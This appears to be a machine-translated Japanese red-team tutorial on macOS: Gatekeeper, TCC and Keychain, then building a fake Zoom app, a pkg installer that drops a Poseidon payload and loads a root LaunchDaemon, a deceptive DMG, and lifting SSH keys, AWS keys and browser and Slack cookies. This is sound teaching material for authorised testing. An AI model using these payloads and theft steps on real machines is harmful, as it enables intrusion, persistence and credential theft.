レッドチーム macOS 101

Feb 28 2023
この投稿では、基本的な macOS セキュリティの概念について説明し、macOS 環境のレッド チームへの入門として役立つことを期待しています。取り上げるトピック この投稿には「新しい」研究はありませんが、代わりに、読みやすく紹介しやすいように、以下のリソースから上記のトピックに関する情報を 1 か所に統合​​しました。

この投稿では、基本的な macOS セキュリティの概念について説明し、macOS 環境のレッド チームへの入門として役立つことを期待しています。

取り上げられるトピック

  • macOS セキュリティの概要
    - ゲートキーパーと XProtect
    - 強化されたランタイム
    - システム整合性保護 (SIP)
    - 透明性、同意、および制御 (TCC)
    - macOS サンドボックス
    - キーチェーン
  • 初期アクセス ペイロードと永続性
    - アプリケーション バンドル
    - インストーラー パッケージ
    - ディスク イメージ (DMG)
  • 権限昇格とエクスプロイト後の
    状況認識 -
    Cookie の盗用
    - クリップボードの監視
    - コードの挿入
    - メモリ内 Mach-O の読み込み

この投稿には「新しい」研究は含まれていませんが、代わりに、読みやすく紹介しやすいように、以下のリソースから上記のトピックに関する情報を 1 か所に統合​​しました。

  • ブログ
    -パトリック・ウォードル/オブジェクティブ・シー
    -アダム・チェスター
    -ジャスティン・ブイ
    -チャバ・フィッツル
    -ヴォイチェフ・レグワ
    -セドリック・オーエンズ
    -クリス・ロス
    -レオ・ピット
  • ビデオ
    - Cedric Owens の DEFCON 29: Red Teaming macOS
    - Cody Thomas の OBTS: Red Teaming macOS
    - Wojciech Reguła の x33fcon: Red Teaming macOS
    - Cody Thomas の OBTS: macOS キーチェーンのロックピッキング
  • 書籍/コース
    - Patrick Wardle の The Art of Mac Malware
    - Offensive Security の OSMR
  • オールインワンのリファレンス
    - Awesome-macOS-Red-Teaming

ゲートキーパーと XProtect

Gatekeeper は、Windows 上の SmartScreen や MOTW と同様に、信頼できるアプリケーションのみをシステム上で実行できるように設計されたセキュリティ メカニズムです。実行可能ファイルがインターネットからダウンロードされると、そのファイルにはcom.apple.quarantine属性がマークされ、ファイルの実行時にゲートキーパーがトリガーされます。

実行可能ファイルが公証されている場合、Gatekeeper はファイルのコード署名を検証し、ファイルの実行を確認するプロンプトをユーザーに表示します。

公証されたアプリをダブルクリックする

実行可能ファイルが公証されていない場合、Gatekeeper はユーザーに、ファイルが署名されていないため実行できないことを通知するプロンプトを表示します。署名されていない実行可能ファイルを実行するには、ユーザーはダブルクリックする代わりに、ファイルを右クリックしてから [開く] をクリックする必要があります。

署名されていないファイルをダブルクリックする
右クリックして署名のないファイルを開く

コード署名の検証に続いて、macOS に組み込まれているウイルス対策機能である XProtect がファイルをスキャンしてマルウェアを検出します。XProtect は YARA ルールを利用します。このルールは、locate XProtect.yaraデフォルトの Metasploit ペイロードを実行していない限り、ほとんどの場合役に立ちません。さらに、XProtect は 3 つの条件下でのみマルウェアをスキャンします。

  • ファイルは初めて実行されます
  • ファイルのハッシュが変更されました
  • XProtect の YARA ルールが更新されました

強化されたランタイム

強化されたランタイムは、dylib ハイジャック、環境変数、タスク ポート インジェクションによるコード インジェクションから保護するためにアプリで有効にできる機能です。強化されたランタイムがどのようにインジェクションから保護するかの一例は、プロセスにロードされるすべての dylib がアプリ自体と同じ証明書で署名されることを要求することです。もちろん、これはアプリケーションがサードパーティの dylib をロードする必要がある場合に問題を引き起こします。そのため、アプリケーションはこれらの制限の一部を削除する特定の資格を持つことができます。

codesign -d --entitlements :- <file>Poseidon のコマンドまたはコマンドを使用してアプリの権利を一覧表示できlist_entitlements、以下のいずれかが存在する場合は、アプリに注入できる可能性があります。

  • このcom.apple.security.cs.disable-library-validation資格により、署名済みまたは未署名の任意の dylib をプロセスにロードできます。アプリがロードする dylib の場所によっては、dylib ハイジャックの扉が開く可能性があります。
  • このcom.apple.security.cs.allow-dyld-environment-variables資格により、dylib を環境変数からロードできるようになりますDYLD_INSERT_LIBRARIES。ただし、この資格だけでは、前述のコード署名要件が削除されるわけではありません。この資格が disable-library-validation 資格とともに存在する場合は、 Linux の場合DYLD_INSERT_LIBRARIES=malicious.dylib ./appと同様に、アプリに注入できます。LD_PRELOAD
  • このcom.apple.security.get-task-allow資格により、他のアプリがアプリのタスク ポートを取得できるようになります。これは、Windows でプロセスのハンドルを取得するのと似ています。タスク ポートにアクセスするには、コードを root として実行する必要があることに注意してください。タスク ポートを使用すると、シェルコードを記述してスレッドを作成することで、従来のプロセス インジェクションを実行できます。
  • Obsidian の権利のリスト

システム整合性保護 (SIP)

SIP は「ルートレス」とも呼ばれ、システム ファイルを変更から保護します。基本的に、root ユーザーであっても、 内の実行可能ファイルなどの特定のシステム ファイルを変更することはできません/bin/。SIP によって保護されているファイルは、フラグによって識別できますrestricted。

SIP は を介し​​て無効にすることができますcsrutil disableが、デバイスをリカバリ モードで再起動する必要があるため、レッド チームの観点からは通常、これは問題外です。

透明性、同意、および管理 (TCC)

TCC は、v10.14 以降に実装された macOS プライバシー機能で、アプリケーションがカメラなどの特定のリソースや、、、、ドライブ/ボリュームなどの特定のフォルダーにアクセスしようとするときに、ユーザーに明示的にアクセス許可を付与するようDesktop求めますDownloads。Documents

TCCプロンプト

許可なしで TCC で保護されたリソースにアクセスしようとすると、誤ってプロンプトが生成され、ユーザーにあなたの存在が警告され、最終的には予定よりも早くエンゲージメントが終了する可能性があります。以下は、TCC によって保護されていないいくつかの有用なファイルです。

  • ホーム ディレクトリ内の隠しファイルとフォルダー — ~/.aws/*、~/.ssh/*、~/.bash_history、~/.zsh_history
  • ユーザーアプリケーションデータ —~/Library/Application Support/*
  • Cookie ファイル — ~/Library/Application Support/Google/Chrome/Default/Cookies、~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

ユーザーの TCC データベースと対話するにはフル ディスク アクセス (FDA) が必要ですが、対話できる場合は、データベースを変更して他のリソースへのアクセスを許可することができます。ユーザーの TCC データベースに対して実行することで、ユーザーにプロンプ​​トを表示せずに FDA があるかどうかを確認できますfile。

FDAとの提携
FDAなし

TCC バイパスは特に「珍しい」わけではないので、 Csaba Fitzl のブログをチェックして新旧のバイパスの最新情報を入手することをお勧めします。

macOS サンドボックス

macOS サンドボックスは、アプリが App Store 以外でリリースされる場合に開発者がオプトインできる機能で、App Store から直接ダウンロードされるすべてのアプリに必須です。サンドボックス機能にオプトインしたアプリには資格が与えられcom.apple.security.app-sandbox、その名前が示すように、強制的にサンドボックス内で実行されます。サンドボックス内で実行されるアプリは、ディスクへのファイルの読み取りまたは書き込み機能など、システムへのアクセスが非常に制限されています。このため、マクロを介したフィッシングなど、macOS 上の特定の攻撃パスは魅力的ではありません。Microsoft Office アプリはサンドボックスにオプトインしているため、永続化や略奪が防止されます。

キーホルダー

キーチェーンは Windows の LSASS に似ており、アプリのパスワードやキーなどの秘密を保持します。たとえば、アプリケーションはディスクに保存するファイルを暗号化し、これらのファイルの復号化キーはキーチェーン内に保存されます。システム キーチェーンは にあり/Library/Keychains/System.keychain、ユーザーのキーチェーンは にあります~/Library/Keychains/login.keychain-db。

ユーザーのキーチェーンをダウンロードすることはできますが、その中の秘密はユーザーのパスワードで暗号化されます。ユーザーのパスワードを持っているかどうかに応じて、Chainbreak を利用してシークレットを抽出することも、キーチェーン パスワードのハッシュを、--dump-keychain-password-hash解析が非常に遅い hashcat の形式にダンプすることもできます。

最後に、キーチェーン内の各エントリには、キーチェーン アクセス アプリ内で表示できる ACL と権限が関連付けられています。信頼できるアプリケーションとは、ユーザーにプロンプ​​トを表示せずにキーチェーン エントリに対する操作を実行できるアプリケーションです。このリストは「アクセス制御」タブの下にあります。興味深いケースは、リストが「NULL」である場合です。これは、すべてのアプリが信頼されていることを意味します。単に信頼できるアプリがないことを意味する空のリストと混同しないでください。

信頼できるアプリのコンテキストで実行している場合、またはリストが NULL で、以下のいずれかの権限を持っている場合は、ユーザーにプロンプ​​トを表示せずにシークレットを抽出できる可能性があります。

  • ACL認可復号化
  • ACL認可エクスポートクリア
  • ACLAuthorizationExportWrapped
  • ACL認可任意

初期アクセスのペイロードと永続性

以下にリストされているもの以外の macOS のペイロード タイプについて知りたい場合は、Mystikalプロジェクトと関連するブログ投稿をチェックすることをお勧めします。

さらに、macOS 上の EDR 製品は成熟しておらず、本質的にはログ製品としてのみ機能することに注意してください。したがって、通常は Metasploit 以外のデフォルトの C2 エージェントを使用でき、EDR がペイロードを捕捉することを心配する必要はありません。

アプリケーションバンドル

アプリケーション バンドル (.app) は、最も一般的なプログラム タイプの 1 つであり、ほぼすべてのエンド ユーザー ソフトウェアがリリースされる形式です。App Bundle は/Applications/Launchpad 内に保存され、Launchpad をクリックすると表示されます。Apple のドキュメントを参照すると、最小限のアプリ バンドルは通常次の構造になっています。

AppName.app/
    Contents/
        Info.plist  # App config info
        MacOS/      # Contains the app's executable file
        Resources/  # Fonts, images, sounds, icons, etc.

1 - アプリバンドルのフォルダー構造を作成する

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

次に、Intel と Silicon の両方の Mac が一般的になったため、AMD と ARM の両方の Poseidon ペイロードを作成し、それらを組み合わせてどちらのアーキテクチャでも実行できるユニバーサル Mach-O を作成し、それをディレクトリに配置しlipo -create <arm-payload> <amd-payload> -output <universal-payload>ますMacOS。

ユニバーサル ポセイドン ペイロードの構築

3 -Info.plistファイルを作成します。

Apple の開発者ドキュメントを参照すると、いくつかのキーを指定する必要があります。

  • CFBundleExecutable — MacOS ディレクトリ内のメインの実行可能ファイルの名前 (PoseidonPayload)
  • CFBundleIconFile — アプリケーション イメージの名前 (ZoomImageForPayload)
  • CFBundleIdentifier — システム上でアプリケーションを一意に識別する文字列 (com.examplepayload.Zoom)
  • CFBundleName — アプリの名前 (FakeZoom)
  • CFBundleVersion — アプリのビルド バージョン番号 (1.0.0)
  • <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
     <key>CFBundleExecutable</key>
     <string>PoseidonPayload</string>
     <key>CFBundleIconFile</key>
     <string>ZoomImageForPayload</string>
     <key>CFBundleIdentifier</key>
     <string>com.examplepayload.Zoom</string>
     <key>CFBundleName</key>
     <string>FakeZoom</string>
     <key>CFBundleVersion</key>
     <string>1.0.0</string>
    </dict>
    </plist>
    

/Applications/偽の Zoom アプリを作成しているので、Zoom の icns ファイルをディレクトリ (インストールされている場合) から にコピーするだけですResources/ZoomImageForPayloadが、代わりに任意のアイコンを使用することもできます。

アプリのフォルダー構造

インストーラーパッケージ

インストーラー パッケージ (.pkg) は xar アーカイブであり、ソフトウェアを root 権限でインストールする必要がある場合に見られるもう 1 つの一般的なプログラム タイプです。インストーラー パッケージには、開いたときに実行されるメイン ペイロードを含めることができますが、別の方法として、「プレインストール」スクリプトと「ポストインストール」スクリプトを利用することもできます。その名前が示すように、インストールの前後にスクリプトが実行されます。

この例では、これらのスクリプトを使用して、起動時に root ユーザーとして永続化するために LaunchDaemon を登録するインストーラー パッケージを作成します。

1 - インストーラー パッケージのフォルダー構造を作成する

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

2 - LaunchDaemon として登録する plist ファイルを作成する

この plist ファイル内で実際に必要な値は 1 つだけです。これは、ProgramArgumentsLaunchDaemon がトリガーされたときに実行する内容を本質的に指定します。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.examplepayload.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Library/Application Support/PoseidonPayload</string>
 </array>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>

3 - インストール前およびインストール後のスクリプトを作成する

これらのスクリプトは通常の bash スクリプトですが、 で始まり で#!/bin/bash終わる必要がありますexit 0。プレインストール スクリプトを使用して plist とペイロードをディスク上の正しい場所にコピーし、ポストインストール スクリプトを使用して LaunchDaemon を登録します。

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

      
                

これらのスクリプトからインストーラー パッケージを作成するには、次のコマンドを実行するだけです。pkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

LaunchDaemon は実行することでアンロードできますlaunchctl unload com.examplepayload.persistence.plistが、ペイロードを にドロップするのは/Library/Application Support/純粋に好みであり、他の場所にドロップすることもできることに注意してください。

LaunchDaemon は、macOS 上での永続化の 1 つの形式のみを表します。他の形式に興味がある場合は、SentinelOne のブログをチェックすることをお勧めします。

ディスクイメージ (DMG)

DMG は、他のペイロード形式を含めることができる圧縮ボリュームです。DMG ファイル内でペイロードを配信する利点は、DMG 自体が Gatekeeper を呼び出さないため、ユーザーが右クリックしてペイロードを開いて Gatekeeper をバイパスするようにソーシャル エンジニアリングを支援するグラフィカル要素を追加できることです。

本物のような DMG を構築するには、カスタムの背景画像を作成する必要があります。私は正規のソフトウェアや企業の壁紙とdraw.ioを利用することを好みますが、必要に応じて独自の画像を作成することもできます。

このデモでは、このイメージをベースとして使用し、これを作成しました。

Disk Utilityまず、「ファイル」を開いて、「新しいイメージ」、「空のイメージ…」の順に選択して、ディスクイメージを作成します。

ボリュームの名前を選択し、「フォーマット」を「Mac OS 拡張 (ジャーナリング)」に変更します。

.dmg ファイル (この場合は「example-payload.dmg」) を開くと、デスクトップにボリュームが表示されます。次に、ボリューム (この場合は「example」) を開きます。macOS で隠しファイルを表示するには、「[shift] + [command] + [ピリオド]」をクリックします。

/Volumes/<volume-name>/背景画像をペイロードとともに隠しファイルとしてボリュームに移動します。この例では、上記のセクションのアプリ バンドルを再利用できます。

次に、ボリュームをクリックして「表示」を選択し、続いて「表示オプションの表示」を選択します。

「背景」で「画像」を選択し、「画像をここにドラッグ」ボックスをダブルクリックします。新しい Finder ウィンドウが開き、ボリューム内から背景画像を選択できます。ボリューム内に含まれるイメージを選択しないと、エラーが発生する可能性があります。さらに、「アイコンサイズ」でアイコンのサイズを変更できます。

背景に合わせてウィンドウのサイズを変更し、アプリ バンドルを中央に配置します。

レイアウトに満足したら、Finder ウィンドウが開いたまま、デスクトップ上のボリュームを右クリックし、「取り出し」をクリックします。

再度開いてDisk Utility「画像」を選択し、「変換…」を選択します。

DMG ファイルを選択し、「暗号化: なし」と「画像形式: 圧縮」を選択します。

もちろん、このデモは Chrome の背景に Zoom アプリケーションを使用しているため、あまり意味がありません (笑) が、要点は理解していただければ幸いです。

com.apple.metadata:kMDItemWhereFromsペイロードに関して最後に注意すべき点は、ブラウザ経由でダウンロードされたファイルには、ファイルのダウンロード元をリストする属性が追加されることです。ポセイドン ペイロードをパッケージ化する前にブラウザの Mythic から直接ダウンロードしている場合、チーム サーバーの場所が誤って公開される可能性があります。この属性は、 を使用して削除できますxattr -d com.apple.metadata:kMDItemWhereFroms <file>。

権限昇格と悪用後の処理

このセクションは、シェルを取得した後に実行できるすべてのアクティビティを網羅しているわけではなく、macOS での post-ex の一般的なアイデアを提供することのみを目的としています。

状況認識

HealthInspectorまたはSwiftBeltを実行するか、構成ファイルを手動で参照することで、システムの状況認識チェックを開始できます。これらのファイルの多くはバイナリ形式の plist ファイルであり、読み取り可能にするために を使用できますplutil。対象となるファイルには次のようなものがあります。

  • ユーザーがドックに入れているアプリは何ですか? —plutil -p ~/Library/Preferences/com.apple.dock.plist
  • ユーザーが最近操作したファイルは何ですか? —plutil -p ~/Library/Preferences/com.apple.finder.plist
  • macOS のバージョンは何ですか? —plutil -p /System/Library/CoreServices/SystemVersion.plist

次に、ユーザーの bash または zsh 履歴、ssh キー、クラウド キー (AWS、GCP など)、キーチェーン、Cookie など、TCC によって保護されていないいくつかのファイルのディスクからのダウンロードを開始できます。

macOS を使用している場合、エンゲージメントの対象となる組織はテクノロジー企業または新興企業である可能性が高く、これらの環境では Slack が一般的に見られます。その場合は、次のファイルをダウンロードできます。

  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

次に、ブラウザの Cookie をターゲットにすることができます。この例では、Google Chrome を使用します。bash または zsh の履歴内でユーザーのパスワードを見つけたり、パスワード プロンプター~/Library/Application Support/Google/Chrome/Default/Cookiesを実行したりしてユーザーのパスワードを知っている場合は、ファイルをオフラインでダウンロードして復号化できます。あるいは、ユーザーのパスワードがない場合は、WhiteChocolateMacademiaNutなどのツールを使用してリモート デバッグを有効にして Chrome を起動し、WebSocket 経由で Cookie をダンプすることもできます。繰り返しますが、Mac EDR は成熟していないため、文字化けしたツールがディスクにドロップされても、それほど心配する必要はありません。

ブラウザの Cookie にアクセスすると、Poseidon の組み込みコマンドまたはchiselをドロップして SOCKS を開いて、内部サイトを閲覧できます。具体的には、特権認証情報を見つけるために、Confluence や内部コード リポジトリなどの内部ドキュメント サイトをターゲットにすることができます。

クリップボードの監視

macOS では、クリップボードの内容が変更されるたびにカウンターがインクリメントされるため、一定の間隔でカウンターの値を監視し、クリップボードの内容が変更された場合はそれを取得できます。clipboard_monitorポセイドンには、これを利用できるコマンドが組み込まれています。

さらに注意すべき点がいくつかあります。

  • このclipboard_monitorコマンドはプレーン テキストのみを取得するようにフィルター処理するため、ユーザーが大きなバイナリをクリップボードにコピーした場合でも、C2 経由で大量のトラフィックが送信されることを心配する必要はありません。
  • root ユーザーはクリップボードにアクセスできないため、クリップボード監視ツールはユーザー コンテキストで実行する必要があります。

ランタイムの強化セクションで前述したように、アプリケーションにコードを挿入できることは、追加の資格や、以前は持っていなかったリソースへのアクセスを付与できる可能性があるため、レッド チームの観点からすると便利です。

たとえば、最初のペイロードはダウンロード フォルダーにアクセスできない可能性がありますが、権限を持つコードを Chrome に挿入できれば、com.apple.security.files.downloads.read-writeダウンロード フォルダーを参照できるようになります。

list_entitlementsコード インジェクションのターゲットを見つけるには、強化されたランタイム セクションで説明されている資格を持つ実行中のプロセスを検索するPoseidon のコマンドを実行できます。

ここから各プロセスを検査して、潜在的なターゲットを見つけることができます。

これまでに言及されていないコード インジェクションのもう 1 つの形式は「電子ハイジャック」です。これについては、Adam Chester がこのブログで詳しく取り上げています。ELECTRON_RUN_AS_NODE基本的に、環境変数を利用して Electron アプリの子としてプロセスを生成できます。また、子プロセスは親の TCC アクセス許可を継承するため、子プロセスの資格を取得できる可能性があります。

インメモリMach-Oロード

現在の macOS EDR では明らかに必要ありませんが、Mach-O をメモリ内で実行することは可能です。インメモリ読み込みの実行に使用される API は OS のバージョンによって異なるため、ここでは説明しませんが、代わりにJustin Bui の投稿とAdam Chester の投稿を確認することをお勧めします。